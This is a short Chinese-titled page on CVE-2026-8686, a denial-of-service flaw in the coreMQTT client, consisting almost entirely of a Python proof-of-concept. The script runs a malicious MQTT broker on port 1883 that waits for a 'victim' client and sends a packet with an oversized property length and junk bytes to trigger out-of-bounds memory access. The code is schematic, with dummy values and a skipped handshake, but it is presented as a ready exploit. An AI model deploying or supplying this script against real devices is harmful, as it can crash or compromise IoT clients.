CVE-2026-8686 coreMQTT拒绝服务漏洞

/* * PoC Concept for CVE-2026-8686 * This script simulates a malicious MQTT Broker sending a crafted packet * to trigger the missing bounds validation in the coreMQTT client. * Note: This requires a vulnerable client connecting to it. */ import socket import struct def send_malicious_packet(client_sock): # Simulate sending a packet with a malformed MQTT v5.0 Property # that exceeds expected buffer sizes to trigger OOB read/write. # MQTT Packet type (e.g., PUBLISH or CONNACK) msg_type = 0x30 # Remaining length (dummy value for structure) remaining_len = 0x10 # Malformed Property Length (Large value to trigger bounds issue) # Assuming the parser fails to check if this fits the buffer malformed_prop_len = 0xFF # Construct packet packet = struct.pack('!BB', msg_type, remaining_len) packet += struct.pack('!B', malformed_prop_len) # Fill rest with junk data packet += b'A' * 100 try: client_sock.send(packet) print("[+] Malicious packet sent to target.") except Exception as e: print(f"[-] Error sending packet: {e}") # Setup a fake listener to wait for a victim def start_evil_broker(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 1883)) server.listen(1) print("[+] Listening for vulnerable coreMQTT clients...") client, addr = server.accept() print(f"[+] Connection established from {addr}") # In a real scenario, basic MQTT handshake might happen first # Here we skip to exploitation send_malicious_packet(client) client.close() if __name__ == "__main__": start_evil_broker()